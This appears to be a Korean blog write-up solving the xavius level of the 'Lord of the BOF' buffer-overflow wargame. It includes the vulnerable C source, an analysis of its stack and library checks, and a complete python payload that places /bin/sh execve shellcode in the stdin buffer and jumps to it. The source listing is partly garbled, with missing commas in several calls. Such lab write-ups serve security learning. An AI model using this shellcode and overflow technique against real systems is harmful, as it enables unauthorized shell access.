[LOB] nightmare -> xavius

2018. 4. 3. 23:39
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs


시작


코드분석! fgets으로 입력을 256까지 받고 여기서 오버플로우가 발생한다.


buffer+47(ret+3)의 값이 0xbf이나 0x08이면 exit한다. ret주소를 검사해서 라이브러리나 스택으로 점프하는 것을 막는 코드다.

또 while문에 들어가 ret의 주소에 있는 값이 nop nop(0x9090)이 아니라면 이 값을 만날때까지 반복하여 코드에 leave-ret 값이 있나 검사해 있다면 exit한다. (이것도 라이브러리로 못가게하는 코드)

그리고 ret를 제외한 buffer~스택영역을 파괴한다;; 덤으로 LD_PRELOAD도 지워버린다.


정리하면 ret에 스택X, 라이브러리X, LD_PRELOAD X 이다.


힌트를 보면 arg이고... 일단 gdb로 한번 분석해보아야겠다.

아아.. 이제보니 stdin이 있었네


일단 stdin의 주소를 구해보자.


0x8049a3c


저곳을 한번 살펴보자.



stdin 구조체를 살펴보면 stdin+4의 주소에 0x40015099가 있고 뒤에 한번더 반복되는데 이게 end of prt 라고 입력이 끝난 시점의 메모리 위치이고

그 뒤에 몇번 반복되는 0x40015000이 start of prt입력이 시작되는 위치라고 한다. 그래서 내가 입력한 값이 여기에 저장되있을것이다.



그렇다.. 저기가 stdin 입력버퍼부분이다.. 이제 저기에 쉘코드를 넣고 주소값을 저기로 돌려주면 되겠다.


0x40015000을 ret값으로 입력하려하면 "\x00\x50\x01\x40"으로 "\x00", null값이 들어가므로 0x40015004부터 쉘코드를 넣고 점프하는게 좋겟다.


payload : "AAAA"(4) + "쉘코드"(25) + "NOP"(15) + "ret_쉘코드의주소(0x40015004)"(4)


(python -c 'print("A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x04\x50\x01\x40")'; cat) | ./xavius



성공




+ Recent posts